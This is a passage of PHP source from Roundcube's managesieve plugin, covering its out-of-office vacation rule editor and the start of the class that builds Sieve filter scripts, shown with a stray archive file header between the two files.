            $rule['name']       = !empty($rule['name']) ? $rule['name'] : $this->plugin->gettext('vacation');
            $rule['disabled']   = $status == 'off';
            $rule['tests']      = $vacation_tests;
            $rule['join']       = $date_extension ? count($vacation_tests) > 1 : false;
            $rule['actions']    = [$vacation_action];
            $rule['after']      = $after;

            if ($action && $action != 'keep') {
                $rule['actions'][] = [
                    'type'   => $action == 'discard' ? 'discard' : 'redirect',
                    'copy'   => $action == 'copy',
                    'target' => $action != 'discard' ? $target : '',
                ];
            }

            if ($this->merge_rule($rule, $this->vacation, $this->script_name)) {
                $this->rc->output->show_message('managesieve.vacationsaved', 'confirmation');
                $this->rc->output->send();
            }
        }

        if (empty($error)) {
            $error = 'managesieve.saveerror';
        }

        $this->rc->output->show_message($error, 'error');
        $this->rc->output->send();
    }

    /**
     * Independent vacation form
     */
    public function vacation_form($attrib)
    {
        // check supported extensions
        $date_extension    = in_array('date', $this->exts);
        $regex_extension   = in_array('regex', $this->exts);
        $seconds_extension = in_array('vacation-seconds', $this->exts);

        // build FORM tag
        $form_id = !empty($attrib['id']) ? $attrib['id'] : 'form';
        $out     = $this->rc->output->request_form([
                'id'      => $form_id,
                'name'    => $form_id,
                'method'  => 'post',
                'task'    => 'settings',
                'action'  => 'plugin.managesieve-vacation',
                'noclose' => true
            ] + $attrib
        );

        $from_addr = $this->rc->config->get('managesieve_vacation_from_init');
        $auto_addr = $this->rc->config->get('managesieve_vacation_addresses_init');

        if (count($this->vacation) < 2) {
            if ($auto_addr) {
                $this->vacation['addresses'] = $this->user_emails();
            }
            if ($from_addr) {
                $default_identity = $this->rc->user->list_emails(true);
                $this->vacation['from'] = format_email_recipient($default_identity['email'], $default_identity['name']);
            }
        }
        else if (!empty($this->vacation['from'])) {
            $from = rcube_mime::decode_address_list($this->vacation['from'], null, true, RCUBE_CHARSET);
            foreach ((array) $from as $idx => $addr) {
                $from[$idx] = format_email_recipient($addr['mailto'], $addr['name']);
            }
            $this->vacation['from'] = implode(', ', $from);
        }

        // form elements
        $from      = new html_inputfield(['name' => 'vacation_from', 'id' => 'vacation_from', 'size' => 50, 'class' => 'form-control']);
        $subject   = new html_inputfield(['name' => 'vacation_subject', 'id' => 'vacation_subject', 'size' => 50, 'class' => 'form-control']);
        $reason    = new html_textarea(['name' => 'vacation_reason', 'id' => 'vacation_reason', 'cols' => 60, 'rows' => 8]);
        $interval  = new html_inputfield(['name' => 'vacation_interval', 'id' => 'vacation_interval', 'size' => 5, 'class' => 'form-control']);
        $addresses = '<textarea name="vacation_addresses" id="vacation_addresses" data-type="list" data-size="30" style="display: none">'
            . (!empty($this->vacation['addresses']) ? rcube::Q(implode("\n", (array) $this->vacation['addresses']), 'strict', false) : '')
            . '</textarea>';
        $status    = new html_select(['name' => 'vacation_status', 'id' => 'vacation_status', 'class' => 'custom-select']);
        $action    = new html_select(['name' => 'vacation_action', 'id' => 'vacation_action', 'class' => 'custom-select', 'onchange' => 'vacation_action_select()']);
        $addresses_link = new html_inputfield([
                'type'    => 'button',
                'href'    => '#',
                'class' => 'button',
                'onclick' => rcmail_output::JS_OBJECT_NAME . '.managesieve_vacation_addresses()'
            ]);

        $redirect = !empty($this->vacation['action'])
            && ($this->vacation['action'] == 'redirect' || $this->vacation['action'] == 'copy');

        $status->add($this->plugin->gettext('vacation.on'), 'on');
        $status->add($this->plugin->gettext('vacation.off'), 'off');

        $action->add($this->plugin->gettext('vacation.keep'), 'keep');
        $action->add($this->plugin->gettext('vacation.discard'), 'discard');
        if ($redirect || !in_array('redirect', $this->disabled_actions)) {
            $action->add($this->plugin->gettext('vacation.redirect'), 'redirect');
            if (in_array('copy', $this->exts)) {
                $action->add($this->plugin->gettext('vacation.copy'), 'copy');
            }
        }

        if (
            $this->rc->config->get('managesieve_vacation') != 2
            && !empty($this->vacation['list'])
            && in_array($this->script_name, $this->active)
        ) {
            $after = new html_select(['name' => 'vacation_after', 'id' => 'vacation_after', 'class' => 'custom-select']);

            $after->add('---', '');
            foreach ($this->vacation['list'] as $idx => $rule) {
                $after->add($rule, $idx);
            }
        }

        $interval_txt = $interval->show(self::vacation_interval($this->vacation, $this->exts));
        if ($seconds_extension) {
            $interval_select = new html_select(['name' => 'vacation_interval_type', 'class' => 'custom-select']);
            $interval_select->add($this->plugin->gettext('days'), 'days');
            $interval_select->add($this->plugin->gettext('seconds'), 'seconds');
            $interval_txt .= $interval_select->show(isset($this->vacation['seconds']) ? 'seconds' : 'days');
        }
        else {
            $interval_txt .= "\n" . html::span('input-group-append',
                html::span('input-group-text', $this->plugin->gettext('days')));
        }

        $date_format = $this->rc->config->get('date_format', 'Y-m-d');
        $time_format = $this->rc->config->get('time_format', 'H:i');

        if ($date_extension || $regex_extension) {
            $date_from = new html_inputfield(['name' => 'vacation_datefrom', 'id' => 'vacation_datefrom', 'class' => 'datepicker form-control', 'size' => 12]);
            $date_to   = new html_inputfield(['name' => 'vacation_dateto', 'id' => 'vacation_dateto', 'class' => 'datepicker form-control', 'size' => 12]);
        }

        if ($date_extension) {
            $time_from  = new html_inputfield(['name' => 'vacation_timefrom', 'id' => 'vacation_timefrom', 'size' => 7, 'class' => 'form-control']);
            $time_to    = new html_inputfield(['name' => 'vacation_timeto', 'id' => 'vacation_timeto', 'size' => 7, 'class' => 'form-control']);
            $date_value = [];

            if (!empty($this->vacation['tests'])) {
                foreach ((array) $this->vacation['tests'] as $test) {
                    if ($test['test'] == 'currentdate') {
                        $idx = $test['type'] == 'value-ge' ? 'from' : 'to';

                        if ($test['part'] == 'date') {
                            $date_value[$idx]['date'] = $test['arg'];
                        }
                        else if ($test['part'] == 'iso8601') {
                            $date_value[$idx]['datetime'] = $test['arg'];
                        }
                    }
                }
            }

            foreach ($date_value as $idx => $value) {
                $date = !empty($value['datetime']) ? $value['datetime'] : $value['date'];
                $date_value[$idx] = $this->rc->format_date($date, $date_format, false);

                if (!empty($value['datetime'])) {
                    $date_value['time_' . $idx] = $this->rc->format_date($date, $time_format, true);
                }
            }
        }
        else if ($regex_extension) {
            // Sieve 'date' extension not available, read start/end from RegEx based rules instead
            if ($date_tests = self::parse_regexp_tests($this->vacation['tests'])) {
                $date_value['from'] = $this->rc->format_date($date_tests['from'], $date_format, false);
                $date_value['to']   = $this->rc->format_date($date_tests['to'], $date_format, false);
            }
        }

        // force domain selection in redirect email input
        $domains = (array) $this->rc->config->get('managesieve_domains');

        if (!empty($domains)) {
            sort($domains);

            $domain_select = new html_select(['name' => 'action_domain', 'id' => 'action_domain', 'class' => 'custom-select']);
            $domain_select->add(array_combine($domains, $domains));

            if ($redirect && !empty($this->vacation['target'])) {
                $parts = explode('@', $this->vacation['target']);
                if (!empty($parts)) {
                    $this->vacation['domain'] = array_pop($parts);
                    $this->vacation['target'] = implode('@', $parts);
                }
            }
        }

        // redirect target
        $action_target = ' <span id="action_target_span" class="input-group"' . (!$redirect ? ' style="display:none"' : '') . '>'
            . '<input type="text" name="action_target" id="action_target"'
            . ' value="' .($redirect ? rcube::Q($this->vacation['target'], 'strict', false) : '') . '"'
            . (!empty($domain_select) ? ' size="20"' : ' size="35"') . '/>'
            . (!empty($domain_select) ? ' <span class="input-group-append input-group-prepend"><span class="input-group-text">@</span></span>'
                . $domain_select->show(!empty($this->vacation['domain']) ? $this->vacation['domain'] : null) : '')
            . '</span>';

        // Message tab
        $table = new html_table(['cols' => 2]);

        $table->add('title', html::label('vacation_subject', $this->plugin->gettext('vacation.subject')));
        $table->add(null, $subject->show(!empty($this->vacation['subject']) ? $this->vacation['subject'] : null));
        $table->add('title', html::label('vacation_reason', $this->plugin->gettext('vacation.body')));
        $table->add(null, $reason->show(!empty($this->vacation['reason']) ? $this->vacation['reason'] : null));

        if (!empty($date_from)) {
            $table->add('title', html::label('vacation_datefrom', $this->plugin->gettext('vacation.start')));
            $table->add(null, $date_from->show(!empty($date_value['from']) ? $date_value['from'] : null)
                . (!empty($time_from) ? ' ' . $time_from->show(!empty($date_value['time_from']) ? $date_value['time_from'] : null) : '')
            );
            $table->add('title', html::label('vacation_dateto', $this->plugin->gettext('vacation.end')));
            $table->add(null, $date_to->show(!empty($date_value['to']) ? $date_value['to'] : null)
                . (!empty($time_to) ? ' ' . $time_to->show(!empty($date_value['time_to']) ? $date_value['time_to'] : null) : ''));
        }

        $table->add('title', html::label('vacation_status', $this->plugin->gettext('vacation.status')));
        $table->add(null, $status->show(!isset($this->vacation['disabled']) || $this->vacation['disabled'] ? 'off' : 'on'));

        $out .= html::tag('fieldset', '', html::tag('legend', null, $this->plugin->gettext('vacation.reply')) . $table->show($attrib));

        // Advanced tab
        $table = new html_table(['cols' => 2]);

        $table->add('title', html::label('vacation_from', $this->plugin->gettext('vacation.from')));
        $table->add(null, $from->show(!empty($this->vacation['from']) ? $this->vacation['from'] : null));
        $table->add('title', html::label('vacation_addresses', $this->plugin->gettext('vacation.addresses')));
        $table->add(null, $addresses . $addresses_link->show($this->plugin->gettext('filladdresses')));
        $table->add('title', html::label('vacation_interval', $this->plugin->gettext('vacation.interval')));
        $table->add(null, html::span('input-group', $interval_txt));

        if (!empty($after)) {
            $table->add('title', html::label('vacation_after', $this->plugin->gettext('vacation.after')));
            $table->add(null, $after->show(isset($this->vacation['idx']) ? $this->vacation['idx'] - 1 : ''));
        }

        $table->add('title', html::label('vacation_action', $this->plugin->gettext('vacation.action')));
        $table->add('vacation input-group input-group-combo',
            $action->show(!empty($this->vacation['action']) ? $this->vacation['action'] : null) . $action_target
        );

        $out .= html::tag('fieldset', '', html::tag('legend', null, $this->plugin->gettext('vacation.advanced'))
            . $table->show($attrib)
        );

        $out .= '</form>';

        $this->rc->output->add_gui_object('sieveform', $form_id);

        if (!empty($time_format)) {
            $this->rc->output->set_env('time_format', $time_format);
        }

        return $out;
    }

    protected static function build_regexp_tests($date_from, $date_to, &$error)
    {
        $tests    = [];
        $dt_from  = rcube_utils::anytodatetime($date_from);
        $dt_to    = rcube_utils::anytodatetime($date_to);
        $interval = $dt_from->diff($dt_to);

        if ($interval->invert || $interval->days > 365) {
            $error = 'managesieve.invaliddateformat';
            return;
        }

        $dt_i     = $dt_from;
        $interval = new DateInterval('P1D');
        $matchexp = '';

        while (!$dt_i->diff($dt_to)->invert) {
            $days     = (int) $dt_i->format('d');
            $matchexp .= $days < 10 ? "[ 0]$days" : $days;

            if ($days == $dt_i->format('t') || $dt_i->diff($dt_to)->days == 0) {
                $test = [
                    'test' => 'header',
                    'type' => 'regex',
                    'arg1' => 'received',
                    'arg2' => "($matchexp) " . $dt_i->format('M Y')
                ];

                $tests[]  = $test;
                $matchexp = '';
            }
            else {
                $matchexp .= '|';
            }

            $dt_i->add($interval);
        }

        return $tests;
    }

    protected static function parse_regexp_tests($tests)
    {
        $rx_from = '/^\(([0-9]{2}).*\)\s([A-Za-z]+)\s([0-9]{4})/';
        $rx_to   = '/^\(.*([0-9]{2})\)\s([A-Za-z]+)\s([0-9]{4})/';
        $result  = [];

        foreach ((array) $tests as $test) {
            if ($test['test'] == 'header' && $test['type'] == 'regex' && $test['arg1'] == 'received') {
                $textexp = preg_replace('/\[ ([^\]]*)\]/', '0', $test['arg2']);

                if (empty($result['from']) && preg_match($rx_from, $textexp, $matches)) {
                    $result['from'] = $matches[1]." ".$matches[2]." ".$matches[3];
                }

                if (preg_match($rx_to, $textexp, $matches)) {
                    $result['to'] = $matches[1]." ".$matches[2]." ".$matches[3];
                }
            }
        }

        return $result;
    }

    /**
     * Get current vacation interval
     */
    public static function vacation_interval(&$vacation, $extensions = [])
    {
        $rcube = rcube::get_instance();
        $seconds_extension = in_array('vacation-seconds', $extensions);

        if (isset($vacation['seconds'])) {
            $interval = $vacation['seconds'];
        }
        else if (isset($vacation['days'])) {
            $interval = $vacation['days'];
        }
        else if ($interval_cfg = $rcube->config->get('managesieve_vacation_interval')) {
            if (preg_match('/^([0-9]+)s$/', $interval_cfg, $m)) {
                if ($seconds_extension) {
                    $vacation['seconds'] = ($interval = intval($m[1])) ? $interval : null;
                }
                else {
                    $vacation['days'] = $interval = ceil(intval($m[1])/86400);
                }
            }
            else {
                $vacation['days'] = $interval = intval($interval_cfg);
            }
        }

        return !empty($interval) ? $interval : '';
    }

    /**
     * API: get vacation rule
     *
     * @return array Vacation rule information
     */
    public function get_vacation()
    {
        $this->exts = $this->sieve->get_extensions();
        $this->init_script();
        $this->vacation_rule();

        // check supported extensions
        $date_extension  = in_array('date', $this->exts);
        $regex_extension = in_array('regex', $this->exts);

        // set user's timezone
        try {
            $timezone = new DateTimeZone($this->rc->config->get('timezone', 'GMT'));
        }
        catch (Exception $e) {
            $timezone = new DateTimeZone('GMT');
        }

        $interval = null;
        $start    = null;
        $end      = null;

        if ($date_extension) {
            $date_value = [];
            if (!empty($this->vacation['tests'])) {
                foreach ((array) $this->vacation['tests'] as $test) {
                    if ($test['test'] == 'currentdate') {
                        $idx = $test['type'] == 'value-ge' ? 'start' : 'end';

                        if ($test['part'] == 'date') {
                            $date_value[$idx]['date'] = $test['arg'];
                        }
                        else if ($test['part'] == 'iso8601') {
                            $date_value[$idx]['datetime'] = $test['arg'];
                        }
                    }
                }
            }

            foreach ($date_value as $idx => $value) {
                ${$idx} = new DateTime(!empty($value['datetime']) ? $value['datetime'] : $value['date'], $timezone);
            }
        }
        else if ($regex_extension) {
            // Sieve 'date' extension not available, read start/end from RegEx based rules instead
            if ($date_tests = self::parse_regexp_tests($this->vacation['tests'])) {
                $start = new DateTime($date_tests['from'] . ' ' . '00:00:00', $timezone);
                $end   = new DateTime($date_tests['to'] . ' ' . '23:59:59', $timezone);
            }
        }

        if (isset($this->vacation['seconds'])) {
            $interval = $this->vacation['seconds'] . 's';
        }
        else if (isset($this->vacation['days'])) {
            $interval = $this->vacation['days'] . 'd';
        }

        $vacation = [
            'supported' => $this->exts,
            'interval'  => $interval,
            'start'     => $start,
            'end'       => $end,
            'enabled'   => !empty($this->vacation['reason']) && empty($this->vacation['disabled']),
            'message'   => isset($this->vacation['reason']) ? $this->vacation['reason'] : null,
            'subject'   => isset($this->vacation['subject']) ? $this->vacation['subject'] : null,
            'action'    => isset($this->vacation['action']) ? $this->vacation['action'] : null,
            'target'    => isset($this->vacation['target']) ? $this->vacation['target'] : null,
            'addresses' => isset($this->vacation['addresses']) ? $this->vacation['addresses'] : null,
            'from'      => isset($this->vacation['from']) ? $this->vacation['from'] : null,
        ];

        return $vacation;
    }

    /**
     * API: set vacation rule
     *
     * @param array $data Vacation rule information (see self::get_vacation())
     *
     * @return bool True on success, False on failure
     */
    public function set_vacation($data)
    {
        $this->exts  = $this->sieve->get_extensions();
        $this->error = false;

        $this->init_script();
        $this->vacation_rule();

        // check supported extensions
        $date_extension  = in_array('date', $this->exts);
        $regex_extension = in_array('regex', $this->exts);

        $vacation['type']      = 'vacation';
        $vacation['reason']    = $this->strip_value(str_replace("\r\n", "\n", $data['message']), true);
        $vacation['addresses'] = $data['addresses'];
        $vacation['subject']   = trim($data['subject']);
        $vacation['from']      = trim($data['from']);
        $vacation_tests        = (array) $this->vacation['tests'];

        foreach ((array) $vacation['addresses'] as $aidx => $address) {
            $vacation['addresses'][$aidx] = $address = trim($address);

            if (empty($address)) {
                unset($vacation['addresses'][$aidx]);
            }
            else if (!rcube_utils::check_email($address)) {
                $this->error = "Invalid address in vacation addresses: $address";
                return false;
            }
        }

        if (!empty($vacation['from']) && !rcube_utils::check_email($vacation['from'])) {
            $this->error = "Invalid address in 'from': " . $vacation['from'];
            return false;
        }

        if ($vacation['reason'] == '') {
            $this->error = "No vacation message specified";
            return false;
        }

        if (!empty($data['interval'])) {
            if (!preg_match('/^([0-9]+)\s*([sd])$/', $data['interval'], $m)) {
                $this->error = "Invalid vacation interval value: " . $data['interval'];
                return false;
            }
            else if ($m[1]) {
                $vacation[strtolower($m[2]) == 's' ? 'seconds' : 'days'] = $m[1];
            }
        }

        // find and remove existing date/regex/true rules
        foreach ((array) $vacation_tests as $idx => $t) {
            if ($t['test'] == 'currentdate' || $t['test'] == 'true'
                || ($t['test'] == 'header' && $t['type'] == 'regex' && $t['arg1'] == 'received')
            ) {
                unset($vacation_tests[$idx]);
            }
        }

        if ($date_extension) {
            foreach (['start', 'end'] as $var) {
                if (!empty($data[$var])) {
                    $dt = $data[$var];
                    $vacation_tests[] = [
                        'test' => 'currentdate',
                        'part' => 'iso8601',
                        'type' => 'value-' . ($var == 'start' ? 'ge' : 'le'),
                        'zone' => $dt->format('O'),
                        'arg'  => str_replace('+00:00', 'Z', strtoupper($dt->format('c'))),
                    ];
                }
            }
        }
        else if ($regex_extension) {
            // Add date range rules if range specified
            if (!empty($data['start']) && !empty($data['end'])) {
                if ($tests = self::build_regexp_tests($data['start'], $data['end'], $error)) {
                    $vacation_tests = array_merge($vacation_tests, $tests);
                }

                if ($error) {
                    $this->error = "Invalid dates specified or unsupported period length";
                    return false;
                }
            }
        }

        if ($data['action'] == 'redirect' || $data['action'] == 'copy') {
            if (empty($data['target']) || !rcube_utils::check_email($data['target'])) {
                $this->error = "Invalid address in action target: " . $data['target'];
                return false;
            }
        }
        else if ($data['action'] && $data['action'] != 'keep' && $data['action'] != 'discard') {
            $this->error = "Unsupported vacation action: " . $data['action'];
            return false;
        }

        if (empty($vacation_tests)) {
            $vacation_tests = (array) $this->rc->config->get('managesieve_vacation_test', [['test' => 'true']]);
        }

        $rule             = $this->vacation;
        $rule['type']     = 'if';
        $rule['name']     = !empty($rule['name']) ? $rule['name'] : 'Out-of-Office';
        $rule['disabled'] = isset($data['enabled']) && !$data['enabled'];
        $rule['tests']    = $vacation_tests;
        $rule['join']     = $date_extension ? count($vacation_tests) > 1 : false;
        $rule['actions']  = [$vacation];

        if (!empty($data['action']) && $data['action'] != 'keep') {
            $rule['actions'][] = [
                'type'   => $data['action'] == 'discard' ? 'discard' : 'redirect',
                'copy'   => $data['action'] == 'copy',
                'target' => $data['action'] != 'discard' ? $data['target'] : '',
            ];
        }

        return $this->merge_rule($rule, $this->vacation, $this->script_name);
    }

    /**
     * API: connect to managesieve server
     */
    public function connect($username, $password)
    {
        $error = parent::connect($username, $password);

        if ($error) {
            return $error;
        }

        return $this->load_script();
    }

    /**
     * API: Returns last error
     *
     * @return string Error message
     */
    public function get_error()
    {
        return $this->error;
    }
}
PKh�\O=������8plugins/managesieve/lib/Roundcube/rcube_sieve_script.phpnu�[���<?php

/**
 * Class for operations on Sieve scripts
 *
 * Copyright (C) The Roundcube Dev Team
 * Copyright (C) Kolab Systems AG
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_sieve_script
{
    public $content = [];      // script rules array

    private $vars      = [];   // "global" variables
    private $prefix    = '';   // script header (comments)
    private $supported = [     // supported Sieve extensions:
        'body',                     // RFC5173
        'copy',                     // RFC3894
        'date',                     // RFC5260
        'duplicate',                // RFC7352
        'editheader',               // RFC5293
        'enotify',                  // RFC5435
        'envelope',                 // RFC5228
        'ereject',                  // RFC5429
        'fileinto',                 // RFC5228
        'imapflags',                // draft-melnikov-sieve-imapflags-06
        'imap4flags',               // RFC5232
        'include',                  // RFC6609
        'index',                    // RFC5260
        'mime',                     // RFC5703 (except: foreverypart/break, enclose, extracttext)
        'notify',                   // RFC5435
        'regex',                    // draft-ietf-sieve-regex-01
        'reject',                   // RFC5429
        'relational',               // RFC3431
        'subaddress',               // RFC5233
        'vacation',                 // RFC5230
        'vacation-seconds',         // RFC6131
        'variables',                // RFC5229
        'spamtest',                 // RFC3685 (not RFC5235 with :percent argument)
        // @TODO: virustest, mailbox
    ];

    /**
     * Object constructor
     *
     * @param string $script       Script's text content
     * @param array  $capabilities List of capabilities supported by server
     */
    public function __construct($script, $capabilities = [])
    {
        $capabilities = array_map('strtolower', (array) $capabilities);

        // disable features by server capabilities
        if (!empty($capabilities)) {
            foreach ($this->supported as $idx => $ext) {
                if (!in_array($ext, $capabilities)) {
                    unset($this->supported[$idx]);
                }
            }
        }

        // Parse text content of the script
        $this->_parse_text($script);
    }

    /**
     * Adds rule to the script (at the end)
     *
     * @param array $content Rule content (as array)
     *
     * @return int The index of the new rule
     */
    public function add_rule($content)
    {
        // TODO: check this->supported
        array_push($this->content, $content);
        return count($this->content) - 1;
    }

    /**
     * Removes a rule from the script.
     *
     * @param int $index Rule index
     *
     * @return bool True on success, False otherwise
     */
    public function delete_rule($index)
    {
        if (isset($this->content[$index])) {
            unset($this->content[$index]);
            return true;
        }

        return false;
    }

    /**
     * Get the script size - count of rules.
     *
     * @return int Count of rules
     */
    public function size()
    {
        return count($this->content);
    }

    /**
     * Updates (replaces) a rule at specified index.
     *
     * @param int   $index   Rule index
     * @param array $content Rule content (as array)
     *
     * @return bool True on success, False otherwise
     */
    public function update_rule($index, $content)
    {
        // TODO: check this->supported
        if (isset($this->content[$index])) {
            $this->content[$index] = $content;
            return $index;
        }

        return false;
    }

    /**
     * Sets "global" variable
     *
     * @param string $name  Variable name
     * @param string $value Variable value
     * @param array  $mods  Variable modifiers
     */
    public function set_var($name, $value, $mods = [])
    {
        // Check if variable exists
        for ($i=0, $len=count($this->vars); $i<$len; $i++) {
            if ($this->vars[$i]['name'] == $name) {
                break;
            }
        }

        $var = array_merge($mods, ['name' => $name, 'value' => $value]);

        $this->vars[$i] = $var;
    }

    /**
     * Unsets "global" variable
     *
     * @param string $name Variable name
     */
    public function unset_var($name)
    {
        // Check if variable exists
        foreach ($this->vars as $idx => $var) {
            if ($var['name'] == $name) {
                unset($this->vars[$idx]);
                break;
            }
        }
    }

    /**
     * Gets the value of "global" variable
     *
     * @param string $name Variable name
     *
     * @return string Variable value
     */
    public function get_var($name)
    {
        // Check if variable exists
        for ($i=0, $len=count($this->vars); $i<$len; $i++) {
            if ($this->vars[$i]['name'] == $name) {
                return $this->vars[$i]['name'];
            }
        }
    }

    /**
     * Sets script header content
     *
     * @param string $text Header content
     */
    public function set_prefix($text)
    {
        $this->prefix = $text;
    }

    /**
     * Returns script as text
     */
    public function as_text()
    {
        $output = '';
        $exts   = [];
        $idx    = 0;

        if (!empty($this->vars)) {
            if (in_array('variables', (array)$this->supported)) {
                $has_vars = true;
                array_push($exts, 'variables');
            }
            foreach ($this->vars as $var) {
                if (empty($has_vars)) {
                    // 'variables' extension not supported, put vars in comments
                    $output .= sprintf("# %s %s\r\n", $var['name'], $var['value']);
                }
                else {
                    $output .= 'set ';
                    foreach (array_diff(array_keys($var), ['name', 'value']) as $opt) {
                        $output .= ":$opt ";
                    }
                    $output .= self::escape_string($var['name']) . ' ' . self::escape_string($var['value']) . ";\r\n";
                }
            }
        }

        $imapflags = in_array('imap4flags', $this->supported) ? 'imap4flags' : 'imapflags';
        $notify    = in_array('enotify', $this->supported) ? 'enotify' : 'notify';

        // rules
        foreach ($this->content as $rule) {
            $script    = '';
            $tests     = [];
            $i         = 0;

            // header
            if (!empty($rule['name']) && strlen($rule['name'])) {
                $script .= '# rule:[' . $rule['name'] . "]\r\n";
            }

            // constraints expressions
            if (!empty($rule['tests'])) {
                foreach ($rule['tests'] as $test) {
                    $tests[$i] = '';
                    switch ($test['test']) {
                    case 'size':
                        $tests[$i] .= (!empty($test['not']) ? 'not ' : '');
                        $tests[$i] .= 'size :' . ($test['type'] == 'under' ? 'under ' : 'over ') . $test['arg'];
                        break;

                    case 'spamtest':
                        array_push($exts, 'spamtest');
                        $tests[$i] .= (!empty($test['not']) ? 'not ' : '');
                        $tests[$i] .= $test['test'];

                        $this->add_operator($test, $tests[$i], $exts);

                        $tests[$i] .= ' ' . self::escape_string($test['arg']);
                        break;

                    case 'true':
                        $tests[$i] .= !empty($test['not']) ? 'false' : 'true';
                        break;

                    case 'exists':
                        $tests[$i] .= (!empty($test['not']) ? 'not ' : '') . 'exists';

                        $this->add_mime($test, $tests[$i], $exts);

                        $tests[$i] .= ' ' . self::escape_string($test['arg']);
                        break;

                    case 'header':
                    case 'string':
                        if ($test['test'] == 'string') {
                            array_push($exts, 'variables');
                        }

                        $tests[$i] .= (!empty($test['not']) ? 'not ' : '');
                        $tests[$i] .= $test['test'];

                        if ($test['test'] == 'header') {
                            $this->add_mime($test, $tests[$i], $exts);
                        }

                        $this->add_index($test, $tests[$i], $exts);
                        $this->add_operator($test, $tests[$i], $exts);

                        $tests[$i] .= ' ' . self::escape_string($test['arg1']);
                        $tests[$i] .= ' ' . self::escape_string($test['arg2']);
                        break;

                    case 'address':
                    case 'envelope':
                        if ($test['test'] == 'envelope') {
                            array_push($exts, 'envelope');
                        }

                        $tests[$i] .= (!empty($test['not']) ? 'not ' : '');
                        $tests[$i] .= $test['test'];

                        if ($test['test'] == 'address') {
                            $this->add_mime($test, $tests[$i], $exts);
                            $this->add_index($test, $tests[$i], $exts);
                        }

                        // :all address-part is optional, skip it
                        if (!empty($test['part']) && $test['part'] != 'all') {
                            $tests[$i] .= ' :' . $test['part'];
                            if ($test['part'] == 'user' || $test['part'] == 'detail') {
                                array_push($exts, 'subaddress');
                            }
                        }

                        $this->add_operator($test, $tests[$i], $exts);

                        $tests[$i] .= ' ' . self::escape_string($test['arg1']);
                        $tests[$i] .= ' ' . self::escape_string($test['arg2']);
                        break;

                    case 'body':
                        array_push($exts, 'body');

                        $tests[$i] .= (!empty($test['not']) ? 'not ' : '') . 'body';

                        if (!empty($test['part'])) {
                            $tests[$i] .= ' :' . $test['part'];

                            if (!empty($test['content']) && $test['part'] == 'content') {
                                $tests[$i] .= ' ' . self::escape_string($test['content']);
                            }
                        }

                        $this->add_operator($test, $tests[$i], $exts);

                        $tests[$i] .= ' ' . self::escape_string($test['arg']);
                        break;

                    case 'date':
                    case 'currentdate':
                        array_push($exts, 'date');

                        $tests[$i] .= (!empty($test['not']) ? 'not ' : '') . $test['test'];

                        $this->add_index($test, $tests[$i], $exts);

                        if (!empty($test['originalzone']) && $test['test'] == 'date') {
                            $tests[$i] .= ' :originalzone';
                        }
                        else if (!empty($test['zone'])) {
                            $tests[$i] .= ' :zone ' . self::escape_string($test['zone']);
                        }

                        $this->add_operator($test, $tests[$i], $exts);

                        if ($test['test'] == 'date') {
                            $tests[$i] .= ' ' . self::escape_string($test['header']);
                        }

                        $tests[$i] .= ' ' . self::escape_string($test['part']);
                        $tests[$i] .= ' ' . self::escape_string($test['arg']);

                        break;

                    case 'duplicate':
                        array_push($exts, 'duplicate');

                        $tests[$i] .= (!empty($test['not']) ? 'not ' : '') . $test['test'];

                        $tokens = ['handle', 'uniqueid', 'header'];
                        foreach ($tokens as $token)
                            if (isset($test[$token]) && $test[$token] !== '') {
                                $tests[$i] .= " :$token " . self::escape_string($test[$token]);
                            }

                        if (!empty($test['seconds'])) {
                            $tests[$i] .= ' :seconds ' . intval($test['seconds']);
                        }

                        if (!empty($test['last'])) {
                            $tests[$i] .= ' :last';
                        }

                        break;
                    }

                    $i++;
                }
            }

            // disabled rule: if false #....
            if (!empty($tests)) {
                $script .= 'if ' . ($rule['disabled'] ? 'false # ' : '');

                if (count($tests) > 1) {
                    $tests_str = implode(', ', $tests);
                }
                else {
                    $tests_str = $tests[0];
                }

                if ($rule['join'] || count($tests) > 1) {
                    $script .= sprintf('%s (%s)', $rule['join'] ? 'allof' : 'anyof', $tests_str);
                }
                else {
                    $script .= $tests_str;
                }
                $script .= "\r\n{\r\n";
            }

            // action(s)
            if (!empty($rule['actions'])) {
                foreach ($rule['actions'] as $action) {
                    $action_script = '';

                    switch ($action['type']) {

                    case 'fileinto':
                        array_push($exts, 'fileinto');
                        $action_script .= 'fileinto ';
                        if (!empty($action['copy'])) {
                            $action_script .= ':copy ';
                            array_push($exts, 'copy');
                        }
                        $action_script .= self::escape_string($action['target']);
                        break;

                    case 'redirect':
                        $action_script .= 'redirect ';
                        if (!empty($action['copy'])) {
                            $action_script .= ':copy ';
                            array_push($exts, 'copy');
                        }
                        $action_script .= self::escape_string($action['target']);
                        break;

                    case 'reject':
                    case 'ereject':
                        array_push($exts, $action['type']);
                        $action_script .= $action['type'] . ' ' . self::escape_string($action['target']);
                        break;

                    case 'addflag':
                    case 'setflag':
                    case 'removeflag':
                        array_push($exts, $imapflags);
                        $action_script .= $action['type'] . ' ' . self::escape_string($action['target']);
                        break;

                    case 'addheader':
                    case 'deleteheader':
                        array_push($exts, 'editheader');
                        $action_script .= $action['type'];
                        if (!empty($action['index'])) {
                            $action_script .= " :index " . intval($action['index']);
                        }
                        if (!empty($action['last']) && (!empty($action['index']) || $action['type'] == 'addheader')) {
                            $action_script .= " :last";
                        }
                        if ($action['type'] == 'deleteheader') {
                            $action['type'] = $action['match-type'] ?? null;
                            $this->add_operator($action, $action_script, $exts);
                        }
                        $action_script .= " " . self::escape_string($action['name']);
                        if ((is_string($action['value']) && strlen($action['value']) > 0) || (is_array($action['value']) && !empty($action['value']))) {
                            $action_script .= " " . self::escape_string($action['value']);
                        }
                        break;

                    case 'keep':
                    case 'discard':
                    case 'stop':
                        $action_script .= $action['type'];
                        break;

                    case 'include':
                        array_push($exts, 'include');
                        $action_script .= 'include ';
                        foreach (array_diff(array_keys($action), ['target', 'type']) as $opt) {
                            $action_script .= ":$opt ";
                        }
                        $action_script .= self::escape_string($action['target']);
                        break;

                    case 'set':
                        array_push($exts, 'variables');
                        $action_script .= 'set ';
                        foreach (array_diff(array_keys($action), ['name', 'value', 'type']) as $opt) {
                            $action_script .= ":$opt ";
                        }
